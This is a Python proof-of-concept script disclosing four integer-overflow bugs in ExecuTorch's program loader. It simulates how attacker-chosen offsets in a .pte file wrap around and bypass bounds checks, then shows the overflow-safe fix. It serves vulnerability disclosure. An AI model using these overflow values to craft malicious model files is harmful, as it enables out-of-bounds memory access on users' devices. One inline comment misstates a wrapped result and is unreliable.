poc-executorch-F5 / poc_F5_segment_offset_overflow.py
0xiviel's picture
PoC: ExecuTorch segment offset integer overflow (CWE-190)
2e38cf3 verified
#!/usr/bin/env python3
"""
ExecuTorch Segment Offset Calculation Integer Overflows (CWE-190)
==================================================================
Target: ExecuTorch (pytorch/executorch)
Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd
Affected File: runtime/executor/program.cpp
- Line 96: segment_base_offset + segment_data_size
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L96
- Line 378: offset + nbytes (get_constant_buffer_data)
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L378
- Line 504: segment_base_offset_ + segment->offset()
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L504
- Line 589: segment_base_offset_ + segment->offset() + segment_info->segment_index()
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L589
CWE-190: Integer Overflow or Wraparound
Description:
ExecuTorch's Program loader performs multiple offset arithmetic operations
using values from the FlatBuffer schema (attacker-controlled in a malicious
.pte file). These operations are performed on size_t (uint64_t on 64-bit)
without overflow detection, allowing wraparound that bypasses subsequent
bounds checks and leads to out-of-bounds memory access.
All four overflow sites use the pattern:
computed_offset = base + attacker_offset [+ attacker_offset2]
if (computed_offset > limit) return error; // bypassed by overflow
Impact:
Heap out-of-bounds read/write through corrupted offset calculations.
The attacker controls the offset values through the .pte FlatBuffer schema.
"""
import struct
import sys
UINT64_MAX = (1 << 64) - 1
SIZE_T_BITS = 64 # Assuming 64-bit platform
def uint64_add(a: int, b: int) -> int:
"""Simulate uint64_t addition with wraparound."""
return (a + b) & UINT64_MAX
def uint64_add3(a: int, b: int, c: int) -> int:
"""Simulate uint64_t triple addition with wraparound."""
return (a + b + c) & UINT64_MAX
def check_overflow(true_sum: int) -> bool:
"""Returns True if the sum overflows uint64_t."""
return true_sum > UINT64_MAX
def print_overflow_analysis(label: str, operands: list, limit: int, limit_name: str):
"""Analyze and print an overflow scenario."""
true_sum = sum(operands)
wrapped_sum = true_sum & UINT64_MAX
overflows = check_overflow(true_sum)
bypasses_check = wrapped_sum <= limit and true_sum > limit
print(f" Operands:")
for i, op in enumerate(operands):
print(f" {'+ ' if i > 0 else ' '}0x{op:016X} ({op:,})")
print(f" True sum: 0x{true_sum:X} ({true_sum:,})")
print(f" Wrapped sum: 0x{wrapped_sum:016X} ({wrapped_sum:,})")
print(f" {limit_name}: 0x{limit:016X} ({limit:,})")
print(f" Overflows: {'YES' if overflows else 'NO'}")
print(f" wrapped <= {limit_name}: {'YES' if wrapped_sum <= limit else 'NO'}")
print(f" Bypasses check: {'>>> YES — OOB ACCESS <<<' if bypasses_check else 'No'}")
print()
def main():
print("=" * 78)
print("ExecuTorch Segment Offset Integer Overflow PoC")
print("CWE-190: Integer Overflow or Wraparound")
print("=" * 78)
print()
# =========================================================================
# OVERFLOW 1: program.cpp:96
# segment_base_offset = header_size + flatbuffer_size (program_data_size)
# if (segment_base_offset + segment_data_size > file_size) ...
# =========================================================================
print("=" * 78)
print("OVERFLOW 1: program.cpp:96")
print(" segment_base_offset + segment_data_size > file_size")
print("=" * 78)
print()
print(" Code:")
print(" size_t segment_base_offset = program_data_size;")
print(" // ...")
print(" if (segment_base_offset + segment_data_size > file_data_length) {")
print(" return Error::InvalidProgram;")
print(" }")
print()
print(" Attack: Set segment_data_size in .pte so the sum wraps.")
print()
# The segment_base_offset is derived from program data size (attacker-influenced)
# segment_data_size comes from summing segment sizes in the FlatBuffer
segment_base_offset_1 = 0x8000000000000000 # Large program_data_size
segment_data_size_1 = 0x8000000000000100 # Large total segment size
file_size_1 = 0x0000000000100000 # 1 MB file
print(f" Scenario: segment_base_offset=0x{segment_base_offset_1:X}, "
f"segment_data_size=0x{segment_data_size_1:X}, file=1MB")
print()
print_overflow_analysis(
"program.cpp:96",
[segment_base_offset_1, segment_data_size_1],
file_size_1,
"file_data_length"
)
# =========================================================================
# OVERFLOW 2: program.cpp:378
# get_constant_buffer_data: offset + nbytes overflow
# =========================================================================
print("=" * 78)
print("OVERFLOW 2: program.cpp:378")
print(" offset + nbytes > constant_segment.size (get_constant_buffer_data)")
print("=" * 78)
print()
print(" Code (get_constant_buffer_data):")
print(" size_t offset = constant_buffer->storage_offset();")
print(" size_t nbytes = constant_buffer->allocation_info()->memory_size_bytes();")
print(" if (offset + nbytes > constant_segment.size) {")
print(" return Error::InvalidProgram;")
print(" }")
print()
print(" Attack: Craft constant_buffer with large storage_offset and memory_size_bytes.")
print()
offset_2 = 0xFFFFFFFFFFFF0000
nbytes_2 = 0x0000000000020000 # 128 KB
seg_size_2 = 0x0000000000010000 # 64 KB segment
print(f" Scenario: offset=0x{offset_2:X}, nbytes=0x{nbytes_2:X}, segment=64KB")
print()
print_overflow_analysis(
"program.cpp:378",
[offset_2, nbytes_2],
seg_size_2,
"constant_segment.size"
)
# Demonstrate the actual OOB read that follows
wrapped_2 = uint64_add(offset_2, nbytes_2)
print(f" After check passes:")
print(f" Code does: return segment_data + offset;")
print(f" segment_data is a pointer to {seg_size_2} bytes")
print(f" offset = 0x{offset_2:X}")
print(f" Result: pointer {offset_2 - seg_size_2:,} bytes PAST segment end")
print(f" >>> Heap OOB read <<<")
print()
# =========================================================================
# OVERFLOW 3: program.cpp:504
# segment_base_offset_ + segment->offset()
# =========================================================================
print("=" * 78)
print("OVERFLOW 3: program.cpp:504")
print(" segment_base_offset_ + segment->offset()")
print("=" * 78)
print()
print(" Code (load_segment_data):")
print(' const void* segment_data = static_cast<const uint8_t*>(')
print(' segment_data_.data) + segment_base_offset_ + segment->offset();')
print()
print(" This is pointer arithmetic — no bounds check at all!")
print(" The sum is used directly as a memory offset.")
print()
seg_base_3 = 0xC000000000000000
seg_offset_3 = 0x5000000000000000 # From FlatBuffer segment->offset()
true_3 = seg_base_3 + seg_offset_3
wrapped_3 = uint64_add(seg_base_3, seg_offset_3)
print(f" segment_base_offset_ = 0x{seg_base_3:016X}")
print(f" segment->offset() = 0x{seg_offset_3:016X}")
print(f" True sum: 0x{true_3:X}")
print(f" Wrapped (uint64): 0x{wrapped_3:016X}")
print()
print(f" If buffer is mapped at address P:")
print(f" Expected access: P + 0x{true_3:X} (way past buffer)")
print(f" Actual access: P + 0x{wrapped_3:X} (wraps to small offset)")
print()
print(f" The pointer arithmetic wraps, causing access to an earlier")
print(f" part of the mapped file or adjacent heap memory.")
print(f" >>> Type confusion / data corruption <<<")
print()
# =========================================================================
# OVERFLOW 4: program.cpp:589
# segment_base_offset_ + segment->offset() + segment_info->segment_index()
# =========================================================================
print("=" * 78)
print("OVERFLOW 4: program.cpp:589")
print(" segment_base_offset_ + segment->offset() + segment_info->segment_index()")
print("=" * 78)
print()
print(" Code:")
print(' size_t offset = segment_base_offset_ + segment->offset()')
print(' + segment_info->segment_index();')
print()
print(" Triple addition — three attacker-controlled values summed")
print(" without any overflow check.")
print()
seg_base_4 = 0x5555555555555555
seg_off_4 = 0x5555555555555555
seg_idx_4 = 0x5555555555555557 # Chosen so triple sum wraps to 0x0001
true_4 = seg_base_4 + seg_off_4 + seg_idx_4
wrapped_4 = uint64_add3(seg_base_4, seg_off_4, seg_idx_4)
print(f" segment_base_offset_ = 0x{seg_base_4:016X}")
print(f" segment->offset() = 0x{seg_off_4:016X}")
print(f" segment_index() = 0x{seg_idx_4:016X}")
print(f" True sum: 0x{true_4:X}")
print(f" Wrapped (uint64): 0x{wrapped_4:016X} = {wrapped_4}")
print()
print(f" Three large values sum to 0x{wrapped_4:X} after overflow!")
print(f" The resulting offset points to the very beginning of the")
print(f" mapped data, regardless of where segments actually are.")
print(f" >>> Arbitrary offset within mapped memory <<<")
print()
# Additional scenario for overflow 4: just barely overflows
seg_base_4b = UINT64_MAX - 100
seg_off_4b = 50
seg_idx_4b = 52 # Total = UINT64_MAX + 1 = wraps to 0
true_4b = seg_base_4b + seg_off_4b + seg_idx_4b
wrapped_4b = uint64_add3(seg_base_4b, seg_off_4b, seg_idx_4b)
print(f" Scenario B (minimal overflow):")
print(f" segment_base_offset_ = 0x{seg_base_4b:016X} (UINT64_MAX - 100)")
print(f" segment->offset() = {seg_off_4b}")
print(f" segment_index() = {seg_idx_4b}")
print(f" True sum: 0x{true_4b:X} (UINT64_MAX + 1 + 1)")
print(f" Wrapped (uint64): 0x{wrapped_4b:016X} = {wrapped_4b}")
print(f" >>> Wraps to offset {wrapped_4b}, bypasses any subsequent check <<<")
print()
# =========================================================================
# Contrast with safe pattern (BufferDataLoader)
# =========================================================================
print("=" * 78)
print("SAFE PATTERN: c10::add_overflows()")
print("=" * 78)
print()
print(" BufferDataLoader (buffer_data_loader.h:38-41) uses the safe pattern:")
print()
print(" size_t total;")
print(" if (c10::add_overflows(offset, size, &total) || total > data_size_) {")
print(" return Error::InvalidArgument;")
print(" }")
print()
print(" This detects the overflow BEFORE the comparison.")
print(" All four overflow sites in program.cpp should use this pattern.")
print()
print(" Alternatively, use __builtin_add_overflow() or check:")
print(" if (a > SIZE_MAX - b) { /* overflow */ }")
print()
# =========================================================================
# Summary table
# =========================================================================
print("=" * 78)
print("SUMMARY")
print("=" * 78)
print()
print(" +--------+------------+------------------------------------------+")
print(" | Line | # Operands | Expression |")
print(" +--------+------------+------------------------------------------+")
print(" | 96 | 2 | segment_base_offset + segment_data_size |")
print(" | 378 | 2 | offset + nbytes |")
print(" | 504 | 2 | segment_base_offset_ + segment->offset() |")
print(" | 589 | 3 | seg_base + seg->offset() + seg_index() |")
print(" +--------+------------+------------------------------------------+")
print()
print(" All 4 sites perform unchecked integer addition on attacker-controlled")
print(" values from the .pte FlatBuffer schema. Overflow wraps the result to")
print(" a small value, bypassing bounds checks and enabling OOB memory access.")
print()
print(" Fix: Use c10::add_overflows() or equivalent overflow-safe arithmetic")
print(" for all offset calculations involving untrusted values.")
return 1
if __name__ == "__main__":
sys.exit(main())